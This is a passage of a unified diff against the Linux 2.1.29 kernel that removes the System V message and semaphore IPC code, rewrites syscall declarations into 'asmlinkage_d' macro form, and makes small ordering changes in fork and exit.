tbuf.msg_stime = msq->msg_stime; - tbuf.msg_rtime = msq->msg_rtime; - tbuf.msg_ctime = msq->msg_ctime; - tbuf.msg_cbytes = msq->msg_cbytes; - tbuf.msg_qnum = msq->msg_qnum; - tbuf.msg_qbytes = msq->msg_qbytes; - tbuf.msg_lspid = msq->msg_lspid; - tbuf.msg_lrpid = msq->msg_lrpid; - copy_to_user (buf, &tbuf, sizeof (*buf)); - err = 0; - goto out; - case IPC_SET: - err = -EPERM; - if (!suser() && current->euid != ipcp->cuid && - current->euid != ipcp->uid) - goto out; - if (tbuf.msg_qbytes > MSGMNB && !suser()) - goto out; - msq->msg_qbytes = tbuf.msg_qbytes; - ipcp->uid = tbuf.msg_perm.uid; - ipcp->gid = tbuf.msg_perm.gid; - ipcp->mode = (ipcp->mode & ~S_IRWXUGO) | - (S_IRWXUGO & tbuf.msg_perm.mode); - msq->msg_ctime = CURRENT_TIME; - err = 0; - goto out; - case IPC_RMID: - err = -EPERM; - if (!suser() && current->euid != ipcp->cuid && - current->euid != ipcp->uid) - goto out; - /* - * There is only one kerneld message queue, - * mark it as non-existent - */ - if ((kerneld_msqid >= 0) && (msqid == kerneld_msqid)) - kerneld_msqid = -1; - freeque (id); - err = 0; - goto out; - default: - err = -EINVAL; - goto out; - } -out: - unlock_kernel(); - return err; -} - -/* - * We do perhaps need a "flush" for waiting processes, - * so that if they are terminated, a call from do_exit - * will minimize the possibility of orphaned received - * messages in the queue. For now we just make sure - * that the queue is shut down whenever all kernelds have died. - */ -void kerneld_exit(void) -{ - int i; - - if (kerneld_msqid == -1) - return; - for (i = 0; i < MAX_KERNELDS; ++i) { - if (kerneld_arr[i] == current->pid) { - kerneld_arr[i] = 0; - --n_kernelds; - if (n_kernelds == 0) - sys_msgctl(kerneld_msqid, IPC_RMID, NULL); - break; - } - } -} - -/* - * Kerneld internal message format/syntax: - * - * The message type from the kernel to kerneld is used to specify _what_ - * function we want kerneld to perform. - * - * The "normal" message area is divided into a header, followed by a char array. - * The header is used to hold the sequence number of the request, which will - * be used as the return message type from kerneld back to the kernel. - * In the return message, the header will be used to store the exit status - * of the kerneld "job", or task. - * The character array is used to pass parameters to kerneld and (optional) - * return information from kerneld back to the kernel. - * It is the responsibility of kerneld and the kernel level caller - * to set usable sizes on the parameter/return value array, since - * that information is _not_ included in the message format - */ - -/* - * The basic kernel level entry point to kerneld. - * msgtype should correspond to a task type for (a) kerneld - * ret_size is the size of the (optional) return _value, - * OR-ed with KERNELD_WAIT if we want an answer - * msgsize is the size (in bytes) of the message, not including - * the header that is always sent first in a kerneld message - * text is the parameter for the kerneld specific task - * ret_val is NULL or the kernel address where an expected answer - * from kerneld should be placed. - * - * See for usage (inline convenience functions) - * - */ -int kerneld_send(int msgtype, int ret_size, int msgsz, - const char *text, const char *ret_val) -{ - int status = -ENOSYS; -#ifdef CONFIG_KERNELD - static int id = KERNELD_MINSEQ; - struct kerneld_msg kmsp = { msgtype, NULL_KDHDR, (char *)text }; - int msgflg = S_IRUSR | S_IWUSR | IPC_KERNELD | MSG_NOERROR; - unsigned long flags; - - if (kerneld_msqid == -1) - return -ENODEV; - - /* Do not wait for an answer at interrupt-time! */ - if (intr_count) - ret_size &= ~KERNELD_WAIT; -#ifdef NEW_KERNELD_PROTOCOL - else - kmsp.pid = current->pid; -#endif - - msgsz += KDHDR; - if (ret_size & KERNELD_WAIT) { - save_flags(flags); - cli(); - if (++id <= 0) /* overflow */ - id = KERNELD_MINSEQ; - kmsp.id = id; - restore_flags(flags); - } - - status = real_msgsnd(kerneld_msqid, (struct msgbuf *)&kmsp, msgsz, msgflg); - if ((status >= 0) && (ret_size & KERNELD_WAIT)) { - ret_size &= ~KERNELD_WAIT; - kmsp.text = (char *)ret_val; - status = real_msgrcv(kerneld_msqid, (struct msgbuf *)&kmsp, - KDHDR + ((ret_val)?ret_size:0), - kmsp.id, msgflg); - if (status > 0) /* a valid answer contains at least a long */ - status = kmsp.id; - } - -#endif /* CONFIG_KERNELD */ - return status; -} diff -u --recursive --new-file linux-2.1.29/ipc/sem.c linux/ipc/sem.c --- linux-2.1.29/ipc/sem.c Sat May 10 18:17:21 1997 +++ linux/ipc/sem.c Wed Dec 31 19:00:00 1969 @@ -1,756 +0,0 @@ -/* - * linux/ipc/sem.c - * Copyright (C) 1992 Krishna Balasubramanian - * Copyright (C) 1995 Eric Schenk, Bruno Haible - * - * IMPLEMENTATION NOTES ON CODE REWRITE (Eric Schenk, January 1995): - * This code underwent a massive rewrite in order to solve some problems - * with the original code. In particular the original code failed to - * wake up processes that were waiting for semval to go to 0 if the - * value went to 0 and was then incremented rapidly enough. In solving - * this problem I have also modified the implementation so that it - * processes pending operations in a FIFO manner, thus give a guarantee - * that processes waiting for a lock on the semaphore won't starve - * unless another locking process fails to unlock. - * In addition the following two changes in behavior have been introduced: - * - The original implementation of semop returned the value - * last semaphore element examined on success. This does not - * match the manual page specifications, and effectively - * allows the user to read the semaphore even if they do not - * have read permissions. The implementation now returns 0 - * on success as stated in the manual page. - * - There is some confusion over whether the set of undo adjustments - * to be performed at exit should be done in an atomic manner. - * That is, if we are attempting to decrement the semval should we queue - * up and wait until we can do so legally? - * The original implementation attempted to do this. - * The current implementation does not do so. This is because I don't - * think it is the right thing (TM) to do, and because I couldn't - * see a clean way to get the old behavior with the new design. - * The POSIX standard and SVID should be consulted to determine - * what behavior is mandated. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -extern int ipcperms (struct ipc_perm *ipcp, short semflg); -static int newary (key_t, int, int); -static int findkey (key_t key); -static void freeary (int id); - -static struct semid_ds *semary[SEMMNI]; -static int used_sems = 0, used_semids = 0; -static struct wait_queue *sem_lock = NULL; -static int max_semid = 0; - -static unsigned short sem_seq = 0; - -void sem_init (void) -{ - int i; - - sem_lock = NULL; - used_sems = used_semids = max_semid = sem_seq = 0; - for (i = 0; i < SEMMNI; i++) - semary[i] = (struct semid_ds *) IPC_UNUSED; - return; -} - -static int findkey (key_t key) -{ - int id; - struct semid_ds *sma; - - for (id = 0; id <= max_semid; id++) { - while ((sma = semary[id]) == IPC_NOID) - interruptible_sleep_on (&sem_lock); - if (sma == IPC_UNUSED) - continue; - if (key == sma->sem_perm.key) - return id; - } - return -1; -} - -static int newary (key_t key, int nsems, int semflg) -{ - int id; - struct semid_ds *sma; - struct ipc_perm *ipcp; - int size; - - if (!nsems) - return -EINVAL; - if (used_sems + nsems > SEMMNS) - return -ENOSPC; - for (id = 0; id < SEMMNI; id++) - if (semary[id] == IPC_UNUSED) { - semary[id] = (struct semid_ds *) IPC_NOID; - goto found; - } - return -ENOSPC; -found: - size = sizeof (*sma) + nsems * sizeof (struct sem); - used_sems += nsems; - sma = (struct semid_ds *) kmalloc (size, GFP_KERNEL); - if (!sma) { - semary[id] = (struct semid_ds *) IPC_UNUSED; - used_sems -= nsems; - wake_up (&sem_lock); - return -ENOMEM; - } - memset (sma, 0, size); - sma->sem_base = (struct sem *) &sma[1]; - ipcp = &sma->sem_perm; - ipcp->mode = (semflg & S_IRWXUGO); - ipcp->key = key; - ipcp->cuid = ipcp->uid = current->euid; - ipcp->gid = ipcp->cgid = current->egid; - sma->sem_perm.seq = sem_seq; - /* sma->sem_pending = NULL; */ - sma->sem_pending_last = &sma->sem_pending; - /* sma->undo = NULL; */ - sma->sem_nsems = nsems; - sma->sem_ctime = CURRENT_TIME; - if (id > max_semid) - max_semid = id; - used_semids++; - semary[id] = sma; - wake_up (&sem_lock); - return (unsigned int) sma->sem_perm.seq * SEMMNI + id; -} - -asmlinkage int sys_semget (key_t key, int nsems, int semflg) -{ - int id, err = -EINVAL; - struct semid_ds *sma; - - lock_kernel(); - if (nsems < 0 || nsems > SEMMSL) - goto out; - if (key == IPC_PRIVATE) { - err = newary(key, nsems, semflg); - } else if ((id = findkey (key)) == -1) { /* key not used */ - if (!(semflg & IPC_CREAT)) - err = -ENOENT; - else - err = newary(key, nsems, semflg); - } else if (semflg & IPC_CREAT && semflg & IPC_EXCL) { - err = -EEXIST; - } else { - sma = semary[id]; - if (nsems > sma->sem_nsems) - err = -EINVAL; - else if (ipcperms(&sma->sem_perm, semflg)) - err = -EACCES; - else - err = (int) sma->sem_perm.seq * SEMMNI + id; - } -out: - unlock_kernel(); - return err; -} - -/* Manage the doubly linked list sma->sem_pending as a FIFO: - * insert new queue elements at the tail sma->sem_pending_last. - */ -static inline void insert_into_queue (struct semid_ds * sma, struct sem_queue * q) -{ - *(q->prev = sma->sem_pending_last) = q; - *(sma->sem_pending_last = &q->next) = NULL; -} -static inline void remove_from_queue (struct semid_ds * sma, struct sem_queue * q) -{ - *(q->prev) = q->next; - if (q->next) - q->next->prev = q->prev; - else /* sma->sem_pending_last == &q->next */ - sma->sem_pending_last = q->prev; - q->prev = NULL; /* mark as removed */ -} - -/* Determine whether a sequence of semaphore operations would succeed - * all at once. Return 0 if yes, 1 if need to sleep, else return error code. - */ -static int try_semop (struct semid_ds * sma, struct sembuf * sops, int nsops) -{ - int result = 0; - int i = 0; - - while (i < nsops) { - struct sembuf * sop = &sops[i]; - struct sem * curr = &sma->sem_base[sop->sem_num]; - if (sop->sem_op + curr->semval > SEMVMX) { - result = -ERANGE; - break; - } - if (!sop->sem_op && curr->semval) { - if (sop->sem_flg & IPC_NOWAIT) - result = -EAGAIN; - else - result = 1; - break; - } - i++; - curr->semval += sop->sem_op; - if (curr->semval < 0) { - if (sop->sem_flg & IPC_NOWAIT) - result = -EAGAIN; - else - result = 1; - break; - } - } - while (--i >= 0) { - struct sembuf * sop = &sops[i]; - struct sem * curr = &sma->sem_base[sop->sem_num]; - curr->semval -= sop->sem_op; - } - return result; -} - -/* Actually perform a sequence of semaphore operations. Atomically. */ -/* This assumes that try_semop() already returned 0. */ -static int do_semop (struct semid_ds * sma, struct sembuf * sops, int nsops, - struct sem_undo * un, int pid) -{ - int i; - - for (i = 0; i < nsops; i++) { - struct sembuf * sop = &sops[i]; - struct sem * curr = &sma->sem_base[sop->sem_num]; - if (sop->sem_op + curr->semval > SEMVMX) { - printk("do_semop: race\n"); - break; - } - if (!sop->sem_op) { - if (curr->semval) { - printk("do_semop: race\n"); - break; - } - } else { - curr->semval += sop->sem_op; - if (curr->semval < 0) { - printk("do_semop: race\n"); - break; - } - if (sop->sem_flg & SEM_UNDO) - un->semadj[sop->sem_num] -= sop->sem_op; - } - curr->sempid = pid; - } - sma->sem_otime = CURRENT_TIME; - - /* Previous implementation returned the last semaphore's semval. - * This is wrong because we may not have checked read permission, - * only write permission. - */ - return 0; -} - -/* Go through the pending queue for the indicated semaphore - * looking for tasks that can be completed. Keep cycling through - * the queue until a pass is made in which no process is woken up. - */ -static void update_queue (struct semid_ds * sma) -{ - int wokeup, error; - struct sem_queue * q; - - do { - wokeup = 0; - for (q = sma->sem_pending; q; q = q->next) { - error = try_semop(sma, q->sops, q->nsops); - /* Does q->sleeper still need to sleep? */ - if (error > 0) - continue; - /* Perform the operations the sleeper was waiting for */ - if (!error) - error = do_semop(sma, q->sops, q->nsops, q->undo, q->pid); - q->status = error; - /* Remove it from the queue */ - remove_from_queue(sma,q); - /* Wake it up */ - wake_up_interruptible(&q->sleeper); /* doesn't sleep! */ - wokeup++; - } - } while (wokeup); -} - -/* The following counts are associated to each semaphore: - * semncnt number of tasks waiting on semval being nonzero - * semzcnt number of tasks waiting on semval being zero - * This model assumes that a task waits on exactly one semaphore. - * Since semaphore operations are to be performed atomically, tasks actually - * wait on a whole sequence of semaphores simultaneously. - * The counts we return here are a rough approximation, but still - * warrant that semncnt+semzcnt>0 if the task is on the pending queue. - */ -static int count_semncnt (struct semid_ds * sma, ushort semnum) -{ - int semncnt; - struct sem_queue * q; - - semncnt = 0; - for (q = sma->sem_pending; q; q = q->next) { - struct sembuf * sops = q->sops; - int nsops = q->nsops; - int i; - for (i = 0; i < nsops; i++) - if (sops[i].sem_num == semnum - && (sops[i].sem_op < 0) - && !(sops[i].sem_flg & IPC_NOWAIT)) - semncnt++; - } - return semncnt; -} -static int count_semzcnt (struct semid_ds * sma, ushort semnum) -{ - int semzcnt; - struct sem_queue * q; - - semzcnt = 0; - for (q = sma->sem_pending; q; q = q->next) { - struct sembuf * sops = q->sops; - int nsops = q->nsops; - int i; - for (i = 0; i < nsops; i++) - if (sops[i].sem_num == semnum - && (sops[i].sem_op == 0) - && !(sops[i].sem_flg & IPC_NOWAIT)) - semzcnt++; - } - return semzcnt; -} - -/* Free a semaphore set. */ -static void freeary (int id) -{ - struct semid_ds *sma = semary[id]; - struct sem_undo *un; - struct sem_queue *q; - - /* Invalidate this semaphore set */ - sma->sem_perm.seq++; - sem_seq = (sem_seq+1) % ((unsigned)(1<<31)/SEMMNI); /* increment, but avoid overflow */ - used_sems -= sma->sem_nsems; - if (id == max_semid) - while (max_semid && (semary[--max_semid] == IPC_UNUSED)); - semary[id] = (struct semid_ds *) IPC_UNUSED; - used_semids--; - - /* Invalidate the existing undo structures for this semaphore set. - * (They will be freed without any further action in sem_exit().) - */ - for (un = sma->undo; un; un = un->id_next) - un->semid = -1; - - /* Wake up all pending processes and let them fail with EIDRM. */ - for (q = sma->sem_pending; q; q = q->next) { - q->status = -EIDRM; - q->prev = NULL; - wake_up_interruptible(&q->sleeper); /* doesn't sleep! */ - } - - kfree(sma); -} - -asmlinkage int sys_semctl (int semid, int semnum, int cmd, union semun arg) -{ - struct semid_ds *buf = NULL; - struct semid_ds tbuf; - int i, id, val = 0; - struct semid_ds *sma; - struct ipc_perm *ipcp; - struct sem *curr = NULL; - struct sem_undo *un; - unsigned int nsems; - ushort *array = NULL; - ushort sem_io[SEMMSL]; - int err = -EINVAL; - - lock_kernel(); - if (semid < 0 || semnum < 0 || cmd < 0) - goto out; - - switch (cmd) { - case IPC_INFO: - case SEM_INFO: - { - struct seminfo seminfo, *tmp = arg.__buf; - seminfo.semmni = SEMMNI; - seminfo.semmns = SEMMNS; - seminfo.semmsl = SEMMSL; - seminfo.semopm = SEMOPM; - seminfo.semvmx = SEMVMX; - seminfo.semmnu = SEMMNU; - seminfo.semmap = SEMMAP; - seminfo.semume = SEMUME; - seminfo.semusz = SEMUSZ; - seminfo.semaem = SEMAEM; - if (cmd == SEM_INFO) { - seminfo.semusz = used_semids; - seminfo.semaem = used_sems; - } - err = verify_area(VERIFY_WRITE, tmp, sizeof(struct seminfo)); - if (err) - goto out; - copy_to_user (tmp, &seminfo, sizeof(struct seminfo)); - err = max_semid; - goto out; - } - - case SEM_STAT: - buf = arg.buf; - err = verify_area (VERIFY_WRITE, buf, sizeof (*buf)); - if (err) - goto out; - err = -EINVAL; - if (semid > max_semid) - goto out; - sma = semary[semid]; - if (sma == IPC_UNUSED || sma == IPC_NOID) - goto out; - err = -EACCES; - if (ipcperms (&sma->sem_perm, S_IRUGO)) - goto out; - id = (unsigned int) sma->sem_perm.seq * SEMMNI + semid; - tbuf.sem_perm = sma->sem_perm; - tbuf.sem_otime = sma->sem_otime; - tbuf.sem_ctime = sma->sem_ctime; - tbuf.sem_nsems = sma->sem_nsems; - copy_to_user (buf, &tbuf, sizeof(*buf)); - err = id; - goto out; - } - - id = (unsigned int) semid % SEMMNI; - sma = semary [id]; - err = -EINVAL; - if (sma == IPC_UNUSED || sma == IPC_NOID) - goto out; - ipcp = &sma->sem_perm; - nsems = sma->sem_nsems; - err = -EIDRM; - if (sma->sem_perm.seq != (unsigned int) semid / SEMMNI) - goto out; - - switch (cmd) { - case GETVAL: - case GETPID: - case GETNCNT: - case GETZCNT: - case SETVAL: - err = -EINVAL; - if (semnum >= nsems) - goto out; - curr = &sma->sem_base[semnum]; - break; - } - - switch (cmd) { - case GETVAL: - case GETPID: - case GETNCNT: - case GETZCNT: - case GETALL: - err = -EACCES; - if (ipcperms (ipcp, S_IRUGO)) - goto out; - switch (cmd) { - case GETVAL : return curr->semval; - case GETPID : return curr->sempid; - case GETNCNT: return count_semncnt(sma,semnum); - case GETZCNT: return count_semzcnt(sma,semnum); - case GETALL: - array = arg.array; - err = verify_area (VERIFY_WRITE, array, nsems*sizeof(ushort)); - if (err) - goto out; - } - break; - case SETVAL: - val = arg.val; - err = -ERANGE; - if (val > SEMVMX || val < 0) - goto out; - break; - case IPC_RMID: - if (suser() || current->euid == ipcp->cuid || current->euid == ipcp->uid) { - freeary (id); - err = 0; - goto out; - } - err = -EPERM; - goto out; - case SETALL: /* arg is a pointer to an array of ushort */ - array = arg.array; - if ((err = verify_area (VERIFY_READ, array, nsems*sizeof(ushort)))) - goto out; - copy_from_user (sem_io, array, nsems*sizeof(ushort)); - for (i = 0; i < nsems; i++) - if (sem_io[i] > SEMVMX) { - err = -ERANGE; - goto out; - } - break; - case IPC_STAT: - buf = arg.buf; - if ((err = verify_area (VERIFY_WRITE, buf, sizeof(*buf)))) - goto out; - break; - case IPC_SET: - buf = arg.buf; - if ((err = verify_area (VERIFY_READ, buf, sizeof (*buf)))) - goto out; - copy_from_user (&tbuf, buf, sizeof (*buf)); - break; - } - - err = -EIDRM; - if (semary[id] == IPC_UNUSED || semary[id] == IPC_NOID) - goto out; - if (sma->sem_perm.seq != (unsigned int) semid / SEMMNI) - goto out; - - switch (cmd) { - case GETALL: - err = -EACCES; - if (ipcperms (ipcp, S_IRUGO)) - goto out; - for (i = 0; i < sma->sem_nsems; i++) - sem_io[i] = sma->sem_base[i].semval; - copy_to_user (array, sem_io, nsems*sizeof(ushort)); - break; - case SETVAL: - err = -EACCES; - if (ipcperms (ipcp, S_IWUGO)) - goto out; - for (un = sma->undo; un; un = un->id_next) - un->semadj[semnum] = 0; - curr->semval = val; - sma->sem_ctime = CURRENT_TIME; - /* maybe some queued-up processes were waiting for this */ - update_queue(sma); - break; - case IPC_SET: - if (suser() || current->euid == ipcp->cuid || current->euid == ipcp->uid) { - ipcp->uid = tbuf.sem_perm.uid; - ipcp->gid = tbuf.sem_perm.gid; - ipcp->mode = (ipcp->mode & ~S_IRWXUGO) - | (tbuf.sem_perm.mode & S_IRWXUGO); - sma->sem_ctime = CURRENT_TIME; - err = 0; - goto out; - } - err = -EPERM; - goto out; - case IPC_STAT: - err = -EACCES; - if (ipcperms (ipcp, S_IRUGO)) - goto out; - tbuf.sem_perm = sma->sem_perm; - tbuf.sem_otime = sma->sem_otime; - tbuf.sem_ctime = sma->sem_ctime; - tbuf.sem_nsems = sma->sem_nsems; - copy_to_user (buf, &tbuf, sizeof(*buf)); - break; - case SETALL: - err = -EACCES; - if (ipcperms (ipcp, S_IWUGO)) - goto out; - for (i = 0; i < nsems; i++) - sma->sem_base[i].semval = sem_io[i]; - for (un = sma->undo; un; un = un->id_next) - for (i = 0; i < nsems; i++) - un->semadj[i] = 0; - sma->sem_ctime = CURRENT_TIME; - /* maybe some queued-up processes were waiting for this */ - update_queue(sma); - break; - default: - err = -EINVAL; - goto out; - } - err = 0; -out: - unlock_kernel(); - return err; -} - -asmlinkage int sys_semop (int semid, struct sembuf *tsops, unsigned nsops) -{ - int i, id, size, error = -EINVAL; - struct semid_ds *sma; - struct sembuf sops[SEMOPM], *sop; - struct sem_undo *un; - int undos = 0, alter = 0; - - lock_kernel(); - if (nsops < 1 || semid < 0) - goto out; - error = -E2BIG; - if (nsops > SEMOPM) - goto out; - error = -EFAULT; - if (!tsops) - goto out; - if ((i = verify_area (VERIFY_READ, tsops, nsops * sizeof(*tsops)))) - goto out; - copy_from_user (sops, tsops, nsops * sizeof(*tsops)); - id = (unsigned int) semid % SEMMNI; - error = -EINVAL; - if ((sma = semary[id]) == IPC_UNUSED || sma == IPC_NOID) - goto out; - error = -EIDRM; - if (sma->sem_perm.seq != (unsigned int) semid / SEMMNI) - goto out; - for (i = 0; i < nsops; i++) { - sop = &sops[i]; - error = -EFBIG; - if (sop->sem_num >= sma->sem_nsems) - goto out; - if (sop->sem_flg & SEM_UNDO) - undos++; - if (sop->sem_op) - alter++; - } - error = -EACCES; - if (ipcperms(&sma->sem_perm, alter ? S_IWUGO : S_IRUGO)) - goto out; - error = try_semop(sma, sops, nsops); - if (error < 0) - goto out; - if (undos) { - /* Make sure we have an undo structure - * for this process and this semaphore set. - */ - for (un = current->semundo; un; un = un->proc_next) - if (un->semid == semid) - break; - if (!un) { - size = sizeof(struct sem_undo) + sizeof(short)*sma->sem_nsems; - un = (struct sem_undo *) kmalloc(size, GFP_ATOMIC); - if (!un) { - error = -ENOMEM; - goto out; - } - memset(un, 0, size); - un->semadj = (short *) &un[1]; - un->semid = semid; - un->proc_next = current->semundo; - current->semundo = un; - un->id_next = sma->undo; - sma->undo = un; - } - } else - un = NULL; - if (error == 0) { - /* the operations go through immediately */ - error = do_semop(sma, sops, nsops, un, current->pid); - /* maybe some queued-up processes were waiting for this */ - update_queue(sma); - goto out; - } else { - /* We need to sleep on this operation, so we put the current - * task into the pending queue and go to sleep. - */ - struct sem_queue queue; - - queue.sma = sma; - queue.sops = sops; - queue.nsops = nsops; - queue.undo = un; - queue.pid = current->pid; - queue.status = 0; - insert_into_queue(sma,&queue); - queue.sleeper = NULL; - current->semsleeping = &queue; - interruptible_sleep_on(&queue.sleeper); - current->semsleeping = NULL; - /* When we wake up, either the operation is finished, - * or some kind of error happened. - */ - if (!queue.prev) { - /* operation is finished, update_queue() removed us */ - error = queue.status; - } else { - remove_from_queue(sma,&queue); - error = -EINTR; - } - } -out: - unlock_kernel(); - return error; -} - -/* - * add semadj values to semaphores, free undo structures. - * undo structures are not freed when semaphore arrays are destroyed - * so some of them may be out of date. - * IMPLEMENTATION NOTE: There is some confusion over whether the - * set of adjustments that needs to be done should be done in an atomic - * manner or not. That is, if we are attempting to decrement the semval - * should we queue up and wait until we can do so legally? - * The original implementation attempted to do this (queue and wait). - * The current implementation does not do so. The POSIX standard - * and SVID should be consulted to determine what behavior is mandated. - */ -void sem_exit (void) -{ - struct sem_queue *q; - struct sem_undo *u, *un = NULL, **up, **unp; - struct semid_ds *sma; - int nsems, i; - - /* If the current process was sleeping for a semaphore, - * remove it from the queue. - */ - if ((q = current->semsleeping)) { - if (q->prev) - remove_from_queue(q->sma,q); - current->semsleeping = NULL; - } - - for (up = ¤t->semundo; (u = *up); *up = u->proc_next, kfree(u)) { - if (u->semid == -1) - continue; - sma = semary[(unsigned int) u->semid % SEMMNI]; - if (sma == IPC_UNUSED || sma == IPC_NOID) - continue; - if (sma->sem_perm.seq != (unsigned int) u->semid / SEMMNI) - continue; - /* remove u from the sma->undo list */ - for (unp = &sma->undo; (un = *unp); unp = &un->id_next) { - if (u == un) - goto found; - } - printk ("sem_exit undo list error id=%d\n", u->semid); - break; -found: - *unp = un->id_next; - /* perform adjustments registered in u */ - nsems = sma->sem_nsems; - for (i = 0; i < nsems; i++) { - struct sem * sem = &sma->sem_base[i]; - sem->semval += u->semadj[i]; - if (sem->semval < 0) - sem->semval = 0; /* shouldn't happen */ - sem->sempid = current->pid; - } - sma->sem_otime = CURRENT_TIME; - /* maybe some queued-up processes were waiting for this */ - update_queue(sma); - } - current->semundo = NULL; -} diff -u --recursive --new-file linux-2.1.29/ipc/shm.c linux/ipc/shm.c --- linux-2.1.29/ipc/shm.c Sat May 10 18:17:21 1997 +++ linux/ipc/shm.c Fri Feb 21 18:34:38 1997 @@ -130,7 +130,7 @@ return (unsigned int) shp->shm_perm.seq * SHMMNI + id; } -asmlinkage int sys_shmget (key_t key, int size, int shmflg) +asmlinkage_d(int sys_shmget (key_t key, int size, int shmflg)) { struct shmid_ds *shp; int err, id = 0; @@ -206,7 +206,7 @@ return; } -asmlinkage int sys_shmctl (int shmid, int cmd, struct shmid_ds *buf) +asmlinkage_d(int sys_shmctl (int shmid, int cmd, struct shmid_ds *buf)) { struct shmid_ds tbuf; struct shmid_ds *shp; @@ -493,7 +493,7 @@ /* * Fix shmaddr, allocate descriptor, map shm, add attach descriptor to lists. */ -asmlinkage int sys_shmat (int shmid, char *shmaddr, int shmflg, ulong *raddr) +asmlinkage_d(int sys_shmat (int shmid, char *shmaddr, int shmflg, ulong *raddr)) { struct shmid_ds *shp; struct vm_area_struct *shmd; @@ -643,7 +643,7 @@ * detach and kill segment if marked destroyed. * The work is done in shm_close. */ -asmlinkage int sys_shmdt (char *shmaddr) +asmlinkage_d(int sys_shmdt (char *shmaddr)) { struct vm_area_struct *shmd, *shmdnext; diff -u --recursive --new-file linux-2.1.29/ipc/util.c linux/ipc/util.c --- linux-2.1.29/ipc/util.c Sat May 10 18:12:34 1997 +++ linux/ipc/util.c Fri Feb 21 18:34:38 1997 @@ -63,58 +63,57 @@ return 0; } -asmlinkage int sys_semget (key_t key, int nsems, int semflg) +asmlinkage_d(int sys_semget (key_t key, int nsems, int semflg)) { return -ENOSYS; } -asmlinkage int sys_semop (int semid, struct sembuf *sops, unsigned nsops) +asmlinkage_d(int sys_semop (int semid, struct sembuf *sops, unsigned nsops)) { return -ENOSYS; } -asmlinkage int sys_semctl (int semid, int semnum, int cmd, union semun arg) +asmlinkage_d(int sys_semctl (int semid, int semnum, int cmd, union semun arg)) { return -ENOSYS; } -asmlinkage int sys_msgget (key_t key, int msgflg) +asmlinkage_d(int sys_msgget (key_t key, int msgflg)) { return -ENOSYS; } -asmlinkage int sys_msgsnd (int msqid, struct msgbuf *msgp, size_t msgsz, int msgflg) +asmlinkage_d(int sys_msgsnd (int msqid, struct msgbuf *msgp, size_t msgsz, int msgflg)) { return -ENOSYS; } -asmlinkage int sys_msgrcv (int msqid, struct msgbuf *msgp, size_t msgsz, long msgtyp, - int msgflg) +asmlinkage_d(int sys_msgrcv (int msqid, struct msgbuf *msgp, size_t msgsz, long msgtyp, int msgflg)) { return -ENOSYS; } -asmlinkage int sys_msgctl (int msqid, int cmd, struct msqid_ds *buf) +asmlinkage_d(int sys_msgctl (int msqid, int cmd, struct msqid_ds *buf)) { return -ENOSYS; } -asmlinkage int sys_shmget (key_t key, int size, int flag) +asmlinkage_d(int sys_shmget (key_t key, int size, int flag)) { return -ENOSYS; } -asmlinkage int sys_shmat (int shmid, char *shmaddr, int shmflg, ulong *addr) +asmlinkage_d(int sys_shmat (int shmid, char *shmaddr, int shmflg, ulong *addr)) { return -ENOSYS; } -asmlinkage int sys_shmdt (char *shmaddr) +asmlinkage_d(int sys_shmdt (char *shmaddr)) { return -ENOSYS; } -asmlinkage int sys_shmctl (int shmid, int cmd, struct shmid_ds *buf) +asmlinkage_d(int sys_shmctl (int shmid, int cmd, struct shmid_ds *buf)) { return -ENOSYS; } diff -u --recursive --new-file linux-2.1.29/kernel/exec_domain.c linux/kernel/exec_domain.c --- linux-2.1.29/kernel/exec_domain.c Sat May 10 18:17:21 1997 +++ linux/kernel/exec_domain.c Fri Feb 21 18:34:38 1997 @@ -6,7 +6,7 @@ #include #include -static asmlinkage void no_lcall7(struct pt_regs * regs); +asmlinkage_p(static void no_lcall7(struct pt_regs * regs)); static unsigned long ident_map[32] = { @@ -29,7 +29,7 @@ static struct exec_domain *exec_domains = &default_exec_domain; -static asmlinkage void no_lcall7(struct pt_regs * regs) +asmlinkage_d(static void no_lcall7(struct pt_regs * regs)) { /* @@ -102,7 +102,7 @@ return -EINVAL; } -asmlinkage int sys_personality(unsigned long personality) +asmlinkage_d(int sys_personality(unsigned long personality)) { struct exec_domain *it; unsigned long old_personality; diff -u --recursive --new-file linux-2.1.29/kernel/exit.c linux/kernel/exit.c --- linux-2.1.29/kernel/exit.c Sat May 10 18:17:21 1997 +++ linux/kernel/exit.c Fri Feb 21 18:34:38 1997 @@ -320,7 +320,7 @@ * POSIX specifies that kill(-1,sig) is unspecified, but what we have * is probably wrong. Should make it like BSD or SYSV. */ -asmlinkage int sys_kill(int pid,int sig) +asmlinkage_d(int sys_kill(int pid,int sig)) { int err, retval = 0, count = 0; @@ -595,6 +595,7 @@ __exit_fs(current); __exit_sighand(current); exit_thread(); + cli(); current->state = TASK_ZOMBIE; current->exit_code = code; exit_notify(); @@ -622,14 +623,14 @@ goto fake_volatile; } -asmlinkage int sys_exit(int error_code) +asmlinkage_d(int sys_exit(int error_code)) { lock_kernel(); do_exit((error_code&0xff)<<8); unlock_kernel(); } -asmlinkage int sys_wait4(pid_t pid,unsigned int * stat_addr, int options, struct rusage * ru) +asmlinkage_d(int sys_wait4(pid_t pid,unsigned int * stat_addr, int options, struct rusage * ru)) { int flag, retval; struct wait_queue wait = { current, NULL }; @@ -730,7 +731,7 @@ * sys_waitpid() remains for compatibility. waitpid() should be * implemented by calling sys_wait4() from libc.a. */ -asmlinkage int sys_waitpid(pid_t pid,unsigned int * stat_addr, int options) +asmlinkage_d(int sys_waitpid(pid_t pid,unsigned int * stat_addr, int options)) { int ret; diff -u --recursive --new-file linux-2.1.29/kernel/fork.c linux/kernel/fork.c --- linux-2.1.29/kernel/fork.c Sat May 10 18:17:21 1997 +++ linux/kernel/fork.c Fri Feb 21 18:34:38 1997 @@ -271,7 +271,6 @@ p->lock_depth = 0; p->start_time = jiffies; task[nr] = p; - SET_LINKS(p); nr_tasks++; error = -ENOMEM; @@ -293,6 +292,7 @@ p->swappable = 1; p->exit_signal = clone_flags & CSIGNAL; p->counter = current->counter >> 1; + SET_LINKS(p); if(p->pid) { wake_up_process(p); /* do this last, just in case */ } else { @@ -315,7 +315,6 @@ if (p->binfmt && p->binfmt->module) __MOD_DEC_USE_COUNT(p->binfmt->module); task[nr] = NULL; - REMOVE_LINKS(p); nr_tasks--; bad_fork_free_stack: free_kernel_stack(new_stack); diff -u --recursive --new-file linux-2.1.29/kernel/info.c linux/kernel/info.c --- linux-2.1.29/kernel/info.c Sat May 10 18:17:21 1997 +++ linux/kernel/info.c Fri Feb 21 18:34:38 1997 @@ -17,7 +17,7 @@ #include -asmlinkage int sys_sysinfo(struct sysinfo *info) +asmlinkage_d(int sys_sysinfo(struct 